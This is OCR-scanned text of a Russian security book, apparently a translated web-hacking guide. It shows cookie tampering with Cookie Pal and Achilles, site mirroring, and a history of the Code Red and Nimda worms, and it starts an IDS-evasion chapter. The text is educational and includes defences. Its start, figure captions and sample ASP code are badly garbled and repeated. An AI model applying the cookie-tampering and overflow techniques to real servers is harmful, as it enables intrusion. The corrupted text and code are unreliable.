Z t «ийпг ",M I Jb U2iM|HtmMftZ t «ийпг ",M I Jb U2iM|HtmMft丄 Value.丄 Value.мШогкМиемШогкМие10204128C 4XW КОПИНГ »C T52G'10204128C 4XW КОПИНГ »C T52G'k~T; BOOQODtS* ID-(D2M7«k~T; BOOQODtS* ID-(D2M7«M00M0012/X加"8VX^0Q61»O2 M« vn/aneiZMW 12-'SI •W10&00PM 仙/g I?XPM 12/31 ■70105:00 PM• -.гум AM12/X加"8VX^0Q61»O2 M« vn/aneiZMW 12-'SI •W10&00PM 仙/g I?XPM 12/31 ■70105:00 PM• -.гум AMThe 験 L*r J*U«r< any cookies *«< frier <*>?t which are «ЪчС c*r^ene#V on <»• • ♦ (j“i»e Qick He<? to more rfcmalion.The 験 L*r J*U«r< any cookies *«< frier <*>?t which are «ЪчС c*r^ene#V on <»• • ♦ (j“i»e Qick He<? to more rfcmalion.V ■ SessionV ■ Sessionamazon com amazon.com amazon.com amazon.comamazon com amazon.com amazon.com amazon.com|сЫ am dHoam dOhbac*e*LnM|сЫ am dHoam dOhbac*e*LnMmtn.commtn.comSITESERVER •dcg»QlCocM$ sdcSUPSITESERVER •dcg»QlCocM$ sdcSUPPREFPREFMCIMCIPuc. 15.14 Основное ducLto^o^oe окно программы Cookie PalPuc. 15.14 Основное ducLto^o^oe окно программы Cookie PalW2皿 1:00 AM ViqtTE 1 :00AM 1Л/2СЗЕ 100 AM 1.Л-2935 3:® AMW2皿 1:00 AM ViqtTE 1 :00AM 1Л/2СЗЕ 100 AM 1.Л-2935 3:® AMNomeNome9ocurarMi mi ХЙч» WHHHeMrWMh*!9ocurarMi mi ХЙч» WHHHeMrWMh*!
Z t «ийпг ",M I Jb U2iM|HtmMft
Z t «ийпг ",M I Jb U2iM|HtmMft
丄 Value.
丄 Value.
мШогкМие
мШогкМие
10204128C 4XW КОПИНГ »C T52G'
10204128C 4XW КОПИНГ »C T52G'
k~T; BOOQODtS* ID-(D2M7«
k~T; BOOQODtS* ID-(D2M7«
M00
M00
12/X加"8
VX^0Q61»O2 M« vn/aneiZMW 12-'SI •W10&00PM 仙/g I?XPM 12/31 ■70105:00 PM
• -.гум AM
12/X加"8
VX^0Q61»O2 M« vn/aneiZMW 12-'SI •W10&00PM 仙/g I?XPM 12/31 ■70105:00 PM
• -.гум AM
The 験 L*r J*U«r< any cookies *«< frier <*>?t which are «ЪчС c*r^ene#V on <»• • ♦ (j“i»e Qick He<? to more rfcmalion.
The 験 L*r J*U«r< any cookies *«< frier <*>?t which are «ЪчС c*r^ene#V on <»• • ♦ (j“i»e Qick He<? to more rfcmalion.
V ■ Session
V ■ Session
amazon com amazon.com amazon.com amazon.com
amazon com amazon.com amazon.com amazon.com
|сЫ am dHoam dOhbac*e*LnM
|сЫ am dHoam dOhbac*e*LnM
mtn.com
mtn.com
SITESERVER •dcg»QlCocM$ sdcSUP
SITESERVER •dcg»QlCocM$ sdcSUP
PREF
PREF
MCI
MCI
Puc. 15.14 Основное ducLto^o^oe окно программы Cookie Pal
Puc. 15.14 Основное ducLto^o^oe окно программы Cookie Pal
W2皿 1:00 AM ViqtTE 1 :00AM 1Л/2СЗЕ 100 AM 1.Л-2935 3:® AM
W2皿 1:00 AM ViqtTE 1 :00AM 1Л/2СЗЕ 100 AM 1.Л-2935 3:® AM
Nome
Nome
9ocurarMi mi ХЙч» WHHHeMrWMh*!
9ocurarMi mi ХЙч» WHHHeMrWMh*!
При переходе во вкладку Session диалогового окна будут отображены временные данные cookie, а при переходе во вкладку Cookies — постоянные. В пользовательском интерфейсе можно просматривать все существующие поля, а также удалять их при необходимости (кнопка Delete для постоянных данных и кнопка Clear — для временных). Эта возможность оказывается чрезвычайно полезной, если необходимо периодически удалять многочисленные файлы cookie, которые скопились за время путешествий в Internet.
Как правило, в файлах cookie фиксируется такая информация, как сохраненные имена польз ователей / пар о ли, пользовательские предпочтения, адреса электронной почты и данные, используемые в процессе интерактивной регистрации. В этих "безобидных” данных cookie взломщик может найти огромное количество ценной информации. Однако эти данные хранятся только в оперативной памяти или на жестком диске. Поэтому удаленный злоумышленник не сможет получить к ним доступ, тем более, воспользоваться ими для нападения. Хотя данные cookie в целом и безвредны, к ним нужно относиться с осторожностью.
Данные cookie могут оказаться в чужих руках либо в результате кражи (если ваш сосед работает в том же сегменте локальной сети), либо после обратного проектирования. Если хакеру удастся заполучить (например, с использованием программы Cookie Pal) и расшифровать структуру cookie, он с успехом сможет выдать себя за другого пользователя. Для интерактивных Web-узлов банков или торговых компаний подобная перспектива чрезвычайно опасна, поскольку злоумышленники (посторонние или "свои”)смогут под чужим именем участвовать в продажах акций или банковских транзакциях. Получив из данных cookie любую идентификационную информацию, в частности имя пользова- теля/пароль, хакер может выступить в роли какого-либо другого пользователя.
Рассмотрим простой пример, чтобы лучше ощутить влияние данных cookie на обеспечение безопасности и конфиденциальности. В приведенном ниже коде ASP броузеру пользователя передаются специальные данные cookie, в которых хранится количество посещений Web-узла данным клиентом. Далее это число отображается в окне броузера.
<1
response.cookies(^NumberofVisits"|.Expires ■ date + 365 nur^request. cookies ("NiimberofVistts")
If пил 二"” Then
response.cookies(^unberofVislte*) • 1
Else
response.cookies(*HunbexofViBlt*w) • пив + 1
End If
<htal>
<body>
<1
if nuni«** then
<font face=verdana size=20>0ur Cookie Example</ fontxbrxbr>
<font face=verdana size=6>This is the</ fontxfont face=verdana size二6 color*red>
<b>first time</bx/font>
<font face=verdana size=6>you have graced us with your presence. </font>
<1
else
<font facwverdana size=2 Oxb>Welcome back I < /Ъх/f ontxbrxbr>
<font face=verdana size=6>You have visited this Web page:<br>
<font face=verdana,i“・6 color=redxb>
<%гезроп9е.write(num)
if num・l then
response.write “ time before!M
else
response.write “ times before!"
end if end if
</bx/font>
</body>
</html>
При первом посешении целевого Web-узла броузером было получено начальное значение cookie (рис. 15.15).
Рис. 15.15, Исходное значение cookie
Программа Cookie Pal перехватила эти данные и предложила либо принять их, либо отказаться от них. После принятия данных на клиентском компьютере появились временные cookie (рис. 15.16) и постоянные cookie (рис. 15.17).
Рис 15.17. Постоянные данные cookie
В окне броузера отображаются результаты обработки ASP-сценария (рис. 15.18).
Из содержимого окна броузера видно, что на клиентском компьютере не были обнаружены данные cookie с нужным именем (NumberofVisits). Таким образом, данные cookie были добавлены в клиентский броузер. При следующем посещении Web-узла (или после щелчка на кнопке Refresh в броузере) существующие данные cookie будут загружены в буфер броузера и на экране появится диалоговое окно, показанное на рис. 15.19.
Обратите внимание, что теперь передается значение 2, а не 1. Причина заключается в том, что в буфере броузера уже содержится значение cookie, полученное ранее с узла 192.168.0.9. Поэтому данное значение будет увеличено на 1. На рис. 15.20 показано, что при этом будет отображаться в окне броузера.
Рис. 75.旭 Результаты обработки А5Р~сценария
Рис. 15.19. Повторный перехват данных cookie
Если ASP-сцснарий Web-сервера (и его вес видя шсс око) необходимо "обмануть”, можно воспользоваться программой Achilles, модифицировать данные cookie и передать этому сценарию большое число. Для этого нужно настроить программу Achilles для использования в качестве proxy-сервера, а затем ввести в броузере адрес целевого узла: 192.168,0.9. На рис. 15.21 показано диалоговое окно программы Achilles.
После этого в диалоговом окне Achilles для параметра NumberofVisits нужно задать какое-нибудь большое значение, например 99999999, а затем щелкнуть на кнопке Send (рис. 15.22).
ASР-сценарий обработает это огромное число и вернет броузеру информацию, как показано на рис. 15.23.
Таким образом, манипулируя данными cookie, можно заставить сервер обработать непредусмотренное значение, которое почти наверняка (при определенных стараниях) будет некорректно обработано. Нетрудно представить, что последствия подобных злоупотреблений могут оказаться весьма серьезными. Можно задать еще большее значение и попробовать добиться переполнения буфера, как показано на рис. 15.24.
3Z", 14/ IMI ■>'1'«и4> «Miw* •!«# ^*< л*мМ Inirn** tW*v*v
eKSEG
Welcome back!
You have visited thisWeb page:
二I二I1 time before!
二I
二I
Puc. 15.20. Содержимое окна броузера
Puc. 15.21. Диалоговое окно программы AchillesPuc. 15.21. Диалоговое окно программы Achilles
Puc. 15.21. Диалоговое окно программы Achilles
Puc. 15.21. Диалоговое окно программы Achilles
Puc. 15.22. Диалоговое окно программы Achilles после внесения изменений
■,・,р: ■1«7 1**.ил wi*kunw.a*p Mhк>м/) iiiirtviet Емркме*■,・,р: ■1«7 1**.ил wi*kunw.a*p Mhк>м/) iiiirtviet Емркме*:> 6** rg^xOt Ijxfc 打:> 6** rg^xOt Ijxfc 打M*・,心 Er "192Ate 0 **№ome 二M*・,心 Er "192Ate 0 **№ome 二Welcome back!Welcome back!You have visited this Web page: 99999999 times before!
■,・,р: ■1«7 1**.ил wi*kunw.a*p Mhк>м/) iiiirtviet Емркме*
■,・,р: ■1«7 1**.ил wi*kunw.a*p Mhк>м/) iiiirtviet Емркме*
:> 6** rg^xOt Ijxfc 打
:> 6** rg^xOt Ijxfc 打
M*・,心 Er "192Ate 0 **№ome 二
M*・,心 Er "192Ate 0 **№ome 二
Welcome back!
Welcome back!
Рис. 15.23. Результаты выполнения ASP-сценария
Рис. 15.24. Состояние переполнения буфера, достигнутое с использованием данных cookie
Проиллюстрированное выше переполнение буфера само по себе не представляет большой опасности, поскольку ошибка была обнаружена механизмом обработки кода VBScript. В результате в окне броузера появилось сообщение об ошибке. Однако злоумышленник может попробовать обойти этот механизм. Можно передавать различные комбинации символов и попробовать найти способ взлома приложения или, что еще хуже, самого Web-сервера. Если в процессе разработки приложения проверке входных данных не уделялось должного внимания, последствия не заставят себя долго зэдать. В рассмотренном примере в ASP-сценарий следовало бы добавить специальную процедуру, которая обеспечивает обработку числовых данных только из заданного диапазона.
Teleport Pro
Утилита Teleport Pro для Windows — один из лучших краулеров для Web, который характеризуется высокой надежностью и большим быстродействием. Получая на входе адрес URL, эта программа извлекает все файлы с указанного Web-сервера и связанных с ним узлов. Причем для этого используется несколько потоков. Утилита проста в использовании и позволяет скопировать на локальный компьютер образ всего Web- сервера (во всяком случае всю его "клиентскую” часть).
Как видно из рис. 15.25, Teleport Pro обладает понятным и хорошо продуманным интерфейсом, с помощью которого можно быстро просмотреть всю структуру каталогов и файлов целевого Web-узла.
Среди современных программ-краулеров, к числу которых относится и wget для системы UNIX, можно выделить лишь несколько утилит, которые обладают большей скоростью и лучшей управляемостью, чем Teleport Pro.
После получения образа Web-узла можно проанализировать весь код клиентских сценариев и попытаться найти в них различные изъяны.
Неудачные комментарии. В комментариях может содержаться конфиденциальная информация, например названия подразделений компании или дополнительные номера телефонов. В полях комментариев одного из Web-узлов авторам книги удалось обнаружить даже имена пользователей и пароли.
Выявление форм. Если злоумышленнику удастся найти на определенном Web- узле все страницы, в состав которых входят формы, он сможет реализовать различные атаки, в том числе связанные с генерацией условия DoS (отказа в обслуживании), подбором пароля "в лоб”, а также недостаточной проверкой входных данных.
Идентификация сценариев. Выявив страницы с клиентскими сценариями, хакер сможет реализовать разнообразные атаки, связанные, в частности, с недостаточной проверкой входных данных.
Идентификация аплетов. Обнаружив страницы с аплетами Java, взломщик может прибегнуть к декомпиляции каждого из них и поиску в полученном исходном коде такой конфиденциальной информации, как пароли.
Предотвращение возможности получения образа всего Web-узла является непростой задачей. Именно поэтому злоумышленники могут воспользоваться одним из средств, которые были описаны в данной главе, и попытаться осуществить реальную атаку.
Рис. 15.25. Утилита TcleponPro 6 действии
Рекомендации по обеспечению безопасности
Рекомендации, связанные с материалом данной главы, аналогичны тем, которые уже неоднократно упоминались в этой книге.
Повышение надежности паролей. По всей вероятности, единственный урок, который можно извлечь из данной главы, — это необходимость использования более сложных паролей. Такая контрмера позволит противостоять как подбору паролей "в лоб” (Whisker и Brutus), так и подмене сеансов (Achilles и Cookie Pal). Надежные пароли — это самое важное звено подсистемы обеспечения безопасности любого Web-узла. Пароли должны иметь длину не менее семи символов и состоять из цифр, букв и метасимволов, таких, как ?, 1, @, # и $.
Ведение журналов регистрации событий системы и Web-сервера. При использовании взломщиками таких средств, как Whisker и Brutus, в течение нескольких секунд на Web-сервер может обрушиться целая лавина попыток подбора паролей ”в лоб”. Такие попытки можно обнаружить лишь при регистрации событий как на уровне самой системы, так и Web-сервера.
Проверка входных данных. Как уже не раз отмечалось, разработчики сценариев должны обеспечить проверку корректности данных, поступающих от пользователя. Необходимо проверять тип передаваемых данных (integer, string и т.д.), а также удалять из них любые нежелательные символы, в частности метасимволы.
Резюме
Рассмотренные в данной главе автоматизированные средства позволяют воспользоваться разнообразными приемами хакинга и оценить уровень защищенности Web-приложения. Они значительно упростили решение этой задачи, посколысу ранее все необходимые действия приходилось выполнять вручную. Воспользовавшись приведенными выше рекомендациями, можно существенно повысить безопасность системы и Web-узла.
ГЛАВА 16
Вирусы-черви
Все люди склонны совершать ошибки; во многих случаях этому соблазну поддается большинство людей, которыми движет страсть или выгода.
Джон Локк (1632-1704), английский философ
Введение
2001-Й год следовало бы назвать Годом Червя — компьютерного червя. Вопреки своему имени, компьютерный червь больше всего похож на самовоспроизводящийся и поглощающий ресурсы вирус, который способен нанести серьезный урон даже самым крупным вычислительным системам. Определение, которое можно найти по адресу wvw.webopedia.con, гласит:
Червь — это программа (или алгоритм), которая воспроизводит себя через компьютерную сеть и обычно выполняет такие вредоносные действия, как истощение ресурсов компьютера и, возможно, завершение работы системы. См. также вирус.
С тех пор как в 1988 году Роберт Таппан Моррис (Robert Tappan Morris) выпустил на просторы Internet первый такой вирус, киберпространство необратимо изменилось. Червь Morris, как его впоследствии стали называть, использовал ”неконтролируемую программную ошибку** и с успехом копировал себя в Internet, захватывая все больше системных ресурсов и в конечном счете приводя к их истощению.
Как правило, вирус-червь преследует единственную цель: вывести из строя компьютерные системы. Однако он способен сделать значительно больше. Для тех, кто занимается вопросами обеспечения безопасности в Internet в настоящее время, червь Morris — не более чем детская забава.
Червь Code Red
26 января 2000 года
На Web-узле компании Microsoft был опубликован ничем не примечательный бюллетень MSOO-006; он был разослан на разные узлы, на которых поддерживались списки известных изъянов различных приложений (http://www.microsoft.com/technet/ 6ecurity/bulletin/ins00-006.asp). Изъян назывался Malformed Hit-Highlighting Argument Vulnerability, и информация о нем едва не затерялась среди неиссякаемого потока сообщений об изъянах программных продуктов компании Microsoft.
18 июня 2001 года: первое нападение
Одна из групп хакеров опубликовала сообщение о том, что на серверах IIS можно вызвать удаленное переполнение буфера. При корректном использовании такой возможности взломщик мог получить удаленный доступ в контексте учетной записи SYSTEM к любому серверу, на котором был установлен этот программный продукт. Другими словами, хакер мог получить полный контроль над целевой системой и выполнить на ней любые команды.
Виновником этого изъяна оказался ISAPI-фильтр, который обрабатывал запросы к индексному серверу. Как правило, этот сервер обслуживает запросы, передавая специально сформированный запрос GET с расширением .ida. Группа хакеров смогла найти способ, позволяющий вызвать в данном фильтре переполнение буфера и выполнить на удаленной системе произвольный код. По существу, эта группа подтвердила широкую распространенность изъяна, описываемого в документе MSOO-006, который был опубликован на полтора года раньше.
В сообщении упоминалось также о том, что из-за ,,широты натуры** переполнения буфера необходимо применить другие методы, которые позволили бы в полной мере воспользоваться обнаруженным изъяном. Была разработана так называемая технология впрыскивания в кучу (heap spraying), однако она оказалась ненадежной и нестабильной. Предлагались и другие подходы, однако они также не получили широкого распространения, посколысу после ознакомления с соответствующим документом складывалось впечатление, что использование этого изъяна является слишком неподъемной задачей. В результате на тот момент так и не были разработаны средства переполнения буфера на сервере IIS, с помощью которых можно было бы организовать массированные атаки на общедоступные домены. Однако отдельные атаки все же предпринимались. Но печальнее всего оказалось то, что большинство людей занимали следующую позицию: ° Нет средства взлома — нет угрозы**.
12 июля 2001 года
От сетевых администраторов, которые столкнулись с многочисленными атаками, основанными на изъяне 1 SAPI-фильтра, стали поступать сообщения и журналы регистрации. Оказалось, что взломщики пользовались подходом, в рамках которого доступ осуществлялся ко всей памяти. Это позволяло гораздо проще добиться переполнения буфера. Подробный анализ журналов регистрации свидетельствовал о том, что стал зарождаться новый червь.
Подробности
В то время мало что было известно как о самом изъяне, так и о связанной с ним опасности, угрожающей Web-серверам IIS. Однако более глубокий анализ ранее реализованных атак заставил экспертов по безопасности всерьез заговорить о растущей угрозе. Уже было известно о том, что это некоторая разновидность червя, но для сложения всей головоломки еще не было собрано достаточно информации. Было известно лишь следующее.
Сначала с помошью переполнения буфера червь получал контроль над Web- сервером.
Червь начинал процесс инфицирования с создания списка случайно сгенерированных IP-адресов. Ошибка в реализации этого кода привела к тому, что на самом деле эти адреса не были случайными. Разработчик кода использовал жестко заданное начальное число, которое передавалось генератору случайных чисел. В результате каждый зараженный вирусом-червем сервер генерировал один и тот же список IP-адресов. Поэтому одни и те же системы инфицировались многократно.
После инфицирования системы червь выполнял целый ряд действий.
В зараженной системе настраивалось специфичное для червя рабочее окружение.
Для самораспространения червь создавал 100 отдельных потоков.
Первые 99 потоков использовались для инфицирования других Web-серверов.
В контексте 100-го процесса проверялось, установлена ли на сервере -жертве английская версия системы Windows NT/2000. Если такая проверка завершалась успешно, червь принимался за модификацию содержимого Web-сервера. Содержимое индексной страницы локального Web-сервера удалялось, а вместо него вставлялся текст Welcome to http://www.worm.сото!, Hacked By Chinese! Ha сервере модифицированная Web-страница оставалась активной в течение десяти часов, а затем исчезала. Приведенное выше сообщение снова появлялось лишь при повторном заражении.
Если на сервере была установлена другая версия операционной системы, 100-й поток использовался для дальнейшего распространения инфекции.
В рамках каждого потока червь проверял наличие файла С: \notworm. Если этот файл удавалось найти, червь переходил в пассивное состояние. В противном случае поток по-прежнему использовался для инфицирования других систем.
В каждом потоке проверялись системные часы. Если текущая дата относилась к последней декаде месяца (после 20-го числа), то поток использовался не для дальнейшего распространения инфекции, а для нападения на узел http://www.whitehouse.gov. С 20-го по 28-е число казсдого месяца червь отправлял 100 Кбайт данных на Web-узел Белого Дома. С учетом того, что точно так же "поступали” и все другие инфицированные системы, на этом Web-узле происходил отказ в обслуживании (OoS).
С 1-го по 19-е число каждого месяца червь "не обращал вннманн只” на Web- узел Белого Дома и продолжал дальнейшее инфицирование в обычном порядке.
К счастью, ошибка, допущенная в алгоритме генерации случайных чисел, фактически спасла мир от масштабного заражения. Некорректная реализация этого алгоритма не позволила вирусу-червю первого поколения достигнуть высокой эффективности. К сожалению, вскоре нашлись желающие исправить эту ошибку.
Замечание: более полную информацию можно получить по адресу http;//vww. inicrosoft.сот/technet/treeview/default•asp?url«/technet/security/balletin/MSC1-033.asp.
19 июля 2001 года
Утром 19 июля стало известно, что новая версия вируса инфицирует все Web-серверы IIS, на которых не были установлены соответствующие модули обновления. При этом са- морсплиш1ровалась первая версия вируса, в которую было внесено одно небольшое, тем не менее ключевое изменение: фиксированное начальное число, использовавшееся в первом варианте генератора случайных чисел, бьшо заменено случайным. Теперь на кавдом инфицированном компьютере генерировался новый список случайных IP-адресов. Это незначительное изменение привело к невиданным последствиям. В течение первых 14 часов "обновленный” вирус-червь Code Red инфицировал более 359 тыс. компьютеров.
Поскольку программный код нового червя, по сути, совпадал с его первой версией (кроме использования случайного начального числа), наносимый ущерб по-прежнему был связан с подменой Web-страниц. Однако влияние червя на глобальную инфраструктуру оказалось гораздо более значительным, что объясняется большим количеством взломанных узлов, которые использовались для нападения на новые системы. Червь распространялся и заражал компьютеры с такой скоростью, что многие из них инфицировались повторно, хотя системные администраторы перезагружали систему для установи! модуля обновления, устраняющего изъян .Ida. Так, в одной из компаний за время восстановления ее системы и установки необходимых модулей обновления вирулентность червя позволила ему повторно инфицировать эту же систему.
Начало было положено. Потребовалось совсем немного времени, чтобы о себе заявила следующая, еще более разрушительная разновидность червя.
4 августа 2001 года
http: //ww.microsoft.coe/DownloAde/Release.asp?ReleaseID=30833
http: //ww.eicroeoft. com/Dovnloads/Release • asp?ReleaseID*30800
В этот день стало известно о появлении совершенно новой модификации вируса. Этот червь кардинально отличался от своих старших братьев. В исходном коде вируса
содержалась строка CodeRedll, что и определило его имя. Вирус действовал следующим образом.
В первую очередь червь проверял, не был ли узел инфицирован ранее. Если нет, то червь переходил в неактивное состояние.
Червь проверял, установлен ли в системе китайский язык. Если этот язык был установлен, то создавалось 600 потоков. Для ,,некитайскихп систем создавалось 300 параллельных потоков.
Червь активизировал потоки для своего распространения.
Ниже описана деструктивная логика новой версии червя.
В первую очередь червь проверял системные часы локального узла. Если текущий год был меньше 2002-го, а месяц — меньше 10-го, то вирус продолжал свою разрушительную деятельность. Если дата не принадлежала к этому диапазону, то система перезагружалась.
В черве CodeRed II был реализован усовершенствованный метод генерации пробных IP-адресов. Сначала генерировался случайный IP-адрес. После этого для вьщеления целевого адреса на него накладывалась маска. Один раз из восьми червь пытался инфицировать узел, которому соответствовал совершенно случайный IP-адрес. В половине всех атак использовались адреса из диапазона класса А, к которому принадлежал и локальный адрес зараженного компьютера. Три раза из восьми червь выбирал адреса из диапазона класса В, к которому относился и локальный 1Р-адрес.
Если сгенерированный адрес совпадал с IP-адресом локальной системы или был широковещательным, то он пропускался и генерировался следующий. Метод выбора адресов, реализованный в черве CodeRed II, позволял ему распространяться значительно быстрее, чем это удавалось червю Code Red.
По сравнению с предыдущими версиями вирусов деструктивная логика червя CodeRed II оказалась гораздо более разрушительной, поскольку после заражения системы вирус изменял привилегии, используемые удаленным администратором. CodeRed II не ”стремился” привести к отказу в обслуживании и не модифицировал Web-страницы. После заражения сервера любой желающий мог получить контроль над ним. Для этого червем выполняется следующее.
Выбирается диск С:.
Файл ond.exe копируется из системного каталога Windows в файлы \inetpub\ script8\root.exe и \progra"ТХсопюоп" 1 \systen\MSADC\root.exe.
В корневой каталог системы помещается файл explorer.exe, в который внедрен специальный двоичный код.
Все предыдущие действия выполняются также для диска D:.
Файл explorer.exe представляет собой Нтроянского коня**. При его вызове выполняется ряд злонамеренных действий.
Осуществляется поиск локального каталога Windows.
Из локального системного каталога Windows запускается проводник.
"Тро只нскн宜 коне” отключает службу защиты системных файлов (Windows File Protection).
Создается виртуальная папка Web с привязкой к каталогам С: и D:. В результате в системе создается Нпотайной ходп (backdoor). Даже после удаления файла root.exe сервер остается уязвимым для хакеров.
Червь Code Red вместе co всеми его разновидностями оказался самым "успет- нымп вирусом в Internet. За три месяца этим трем червям удалось инфицировать ошеломляющее количество компьютерных систем. Финансовые потери оценивались миллиардами долларов.
Червь Nimda
18 сентября 2001 года
От пользователей и администраторов хлынули потоки сообщений, в которых содержались подробности нападений на их Web-серверы. Кроме самих Web-атак, в них упоминались также подозрительные почтовые сообщения с вложенным аудиофайлом. На первый взгляд складывалось впечатление, что все эти проблемы порождены новой версией червя Code Red. Однако последующий анализ показал, что в сети появился новый вирус-червь.
Новый червь, получивший официальное название W32/Nimda-A или просто Nimda, был предназначен для инфицирования систем Win 9х, NT и Windows 2000. Для своего распространения и инфицирования компьютеров червь Nimda использовал сразу несколько возможностей.
Через электронную почту: Outlook. Для инфицирования передается почтовое сообщение с вложением readne.exe, которое имеет тип audio/x-wav. Если это сообщение принято с использованием уязвимого почтового клиента, то при его предварительном просмотре файл readrae.exe автоматически выполняется без согласия пользователя. При этом может быть указана произвольная тема сообщения и ложный электронный адрес отправителя.
Через Web: IIS. Червь выполняет поиск Web-серверов с потайным ходом root.exe, установленным ранее вирусом CodeRed II. В качестве других методов проникновения могут использоваться изъяны Unicode (CVE-2000-0884) и двойного декодирования (CVE-2001-0333). Обе ошибки связаны непосредственно с Web-сервером IIS компании Microsoft.
lFTML-файлы, Червь добавляет код во все ASP-, HTML- и HTM-cJkuliw, содержащиеся на инфицированном сервере. В результате могут быть инфицированы все узлы, с которых пользователи обращались к этим инфицированным страницам.
Совместно используемые сетевые ресурсы — червь Nimda может распространяться также через неправильно сконфигурированные или незащищенные сетевые ресурсы
Подробности
По электронной почте передаются сообщения с вложением readme.exe. Пользуясь изъянами некоторых версий Internet Explorer и почтового клиента Outlook, этот исполняемый файл запускается автоматически без участия пользователя. Червь Nimda делает этот файл скрытым и копирует его в корневой каталог системы под именами load.exe и riched32.dll. Затем червь пытается "распространить” себя через совместно используемые сетевые ресурсы. В файл systeni.ini добавляется строка shell=explorer.exe -dontrunold.
После этого вирус будет активизироваться при загрузке системы.
Целевые почтовые адреса извлекаются из адресной книги, почтовых ящиков, а также HTML/HTM-файлов. Затем вирус пересылается по обнаруженным адресам. Жертвами червя становятся Web-серверы IIS, в которых присутствует изъян Unicode, а также потайной ход, созданный ранее вирусом Code Red II.
Получив контроль над уязвимым сервером IIS, червь использует протокол TFTP для доставки нужного кода с атакующего узла на узел-жертву. Передаваемый файл называется Admin.dll, В нем содержится код на языке JavaScript, который загружает файл readme.eml, а затем добавляет его содержимое в ASP-, НТМ- и HTML-файлы. Если к такому узлу обращается пользователь с незащищенной версией Internet Explorer, файл загружается и вирус продолжает дальнейшее распространение.
И наконец, распространяясь в незащищенных сетях, вирус создает файлы с расширениями .EML и .NWS, которые аналогичны файлу readme.eml.
Не вызывает сомнения тот факт, что широкомасштабная эпидемия Nimda оказалось возможной из-за использования этим вирусом разнообразных способов распространения. После того как были выявлены изъяны, которые использовались червем, стала понятна и реальная причина его успешного распространения: не были устранены известные изъяны и не были установлены необходимые модули обновления. В идеале всех этих потерь можно было избежать, если бы пользователи и администраторы применили соответствующие меры защиты. Безусловно, современный мир весьма далек от совершенства, и в будущем черви продолжат свое победное шествие. Если завтрашний червь воспользуется неизвестными изъянами, средств защиты от которых еще не существует, то он может привести к полному хаосу и вызвать серьезные нарушения в работе интерактивных служб.
Еще несколько замечаний
Хотя ущерб, нанесенный червями Code Red и Nimda, был ошеломляющим, потери могли оказаться гораздо больше. Так, например, жертвами нападения червя Code Red стали только серверы IIS5, тогда как изъян существовал и в серверах IIS4. Анализ изъяна .ida, проведенный авторами этой книги, свидетельствует о том, что исполняемый код без проблем можно использовать и на серверах IIS4. Если бы разрушительная мощь червя Code Red была нацелена на оба сервера, IIS5 и IIS4, то последствия могли бы стать настоящей катастрофой. К сожалению, вполне вероятно, что в будущем появится новый и более опасный вариант червя Code Red.
По данным списка Netcraft (http://www.netcraft.coBi), серверы Apache занимают 56%, а серверы Microsoft — 30% рынка Web-серверов. Серверы IIS компании Microsoft — это вполне очевидная цель для нападения, особенно с учетом истории обнаруженных изъянов и недоступности его исходного кода. Сервер IIS скрывает в себе еще много неизвестного. Вполне очевидно, что со временем в нем будут выявлены новые бреши в подсистеме защиты. Тем не менее/ следует заметить, что, если бы аналогичный изъян был обнаружен в Web-сервере Apache, катастрофа оказалась бы не менее масштабной.
Реакция и контрмеры
Одной из главных причин некоторой контролируемости распространения червя Code Red стали независимые исследования его кода, проведенные различными специалистами по вопросам безопасности. Им удалось проанализировать логику, положенную в основу реализации червя, и выделить те его свойства, с которыми связана наибольшая угроза. Web-узлу Белого Дома удалось избежать опасности благодаря своевременной помощи аналитиков.
Первый шаг в понимании нового червя — дизассемблирование его двоичного кода и идентификация его поведения. Достаточно внести небольшие изменения, чтобы агрессия обрела новые, более устрашающие очертания, а у червя появилась временная свобода действий.
Черви, которые появятся в будущем, будут написаны исключительно на языке ассемблера, а также будут содержать полиморфные процедуры, антиотладочную защиту и сложный для трассировки код. Представьте себе тщательно спроектированного червя, который может распространяться на нескольких платформах и использовать неизвестные изъяны двух доминирующих сегодня Web-серверов — Apache и IIS.
Все это обязательно случится. Это всего лишь вопрос времени. Отсчет уже начался.
Резюме
Сегодняшняя Internet — это уже совершенно другой мир по сравнению с тем, каким он был всего лишь несколько лет назад. Это настоящее поле компьютерных баталий. Открытость Internet только способствует заражению. Черви и вирусы стали настоящим бедствием Internet и вряд ли исчезнут в ближайшем будущем. Вполне вероятно, что современные черви будут казаться "игрушками” на фоне тех вирусов, с которыми киберсообществу придется столкнуться: в ближайшие годы. Поэтому, чтобы предотвратить успешность таких атак, необходимо сохранять бдительность.
ГЛАВА17
Обход IDS
Свойство **невидимости ” бомбардировщика В-2 обеспечивает его уникальную способность проникать сквозь самые совершенные системы защиты противника и создавать угрозу для его наиболее важных и тщательно обороняемых целей.
Из списка тактико-технических характеристик бомбардировщика
В-2 Военно-Воздушных Сил США
Введение
Современные методы ведения военных действий позволяют осуществлять молниеносные атаки. Способность пресечения и отражения нападения во многом зависит от того, насколько быстро и своевременно его удалось обнаружить. Для выявления любой враждебной деятельности используются радиолокационные установки, спутники и другие системы мониторинга и наблюдений. Однако даже в реальных боевых условиях обнаружение атак не достигает 100%-ной точности. Иракские войска использовали выполненные в натуральную величину картонные макеты советских танков Т-72, которые на спутниковых снимках воспринимались союзническими силами как настоящие машины.
Системы выявления вторжений (Intrusion Detection Systems — IDS) для компьютерных сетей во многом функционируют точно так же, как и аналогичные системы, используемые военными. Контролируются все действия, и лишь затем принимается решение об их “злонамеренности:”.
В этой главе речь пойдет о том, как системы выявления вторжений могут использоваться для обнаружения Web-атак и как можно организовать некоторые Web-атаки, чтобы с успехом обойти системы IDS.
Общие сведения о системах IDS
Системы выявления вторжений (IDS) предназначены для выявления атак и уведомления о них в реальном времени. Традиционная система IDS, в которой не используются эвристические процедуры анализа, состоит из трех функциональных элементов — модуля мониторинга, модуля логического вывода и модуля оповещения. Модуль мониторинга собирает данные о текущей деятельности (в большинстве случаев эти данные характеризуют сетевой трафик). Поскольку в книге рассматриваются Web-атаки, основное внимание уделяется только тем из них, которые выполняются по сети, а не инициируются в самой целевой системе. Данные, собранные модулем мониторинга, затем передаются модулю логического вывода. Этот модуль анализирует полученные данные и определяет, порождены они нормальными или злонамеренными действиями. С каждой атакой связана характерная для нее сигнатура — шаблон, по которому эту атаку можно распознать и классифицировать. Для выявления атак в большинстве систем IDS (как коммерческих, так и с открытым исходным кодом) используются именно сигнатуры. После обнаружения атаки модуль оповещения генерирует ответ, основанный на конфигурационных параметрах самой системы. Реакция системы может быть либо пассивной, либо активной. Если в качестве ответного действия IDS направляет предупреждающее сообщение на консоль администратора или добавляет запись в системный журнал, то это пассивная реакция. Активная реакция может быть связана с передачей брандмауэру сообщения о необходимости блокирования сетевого 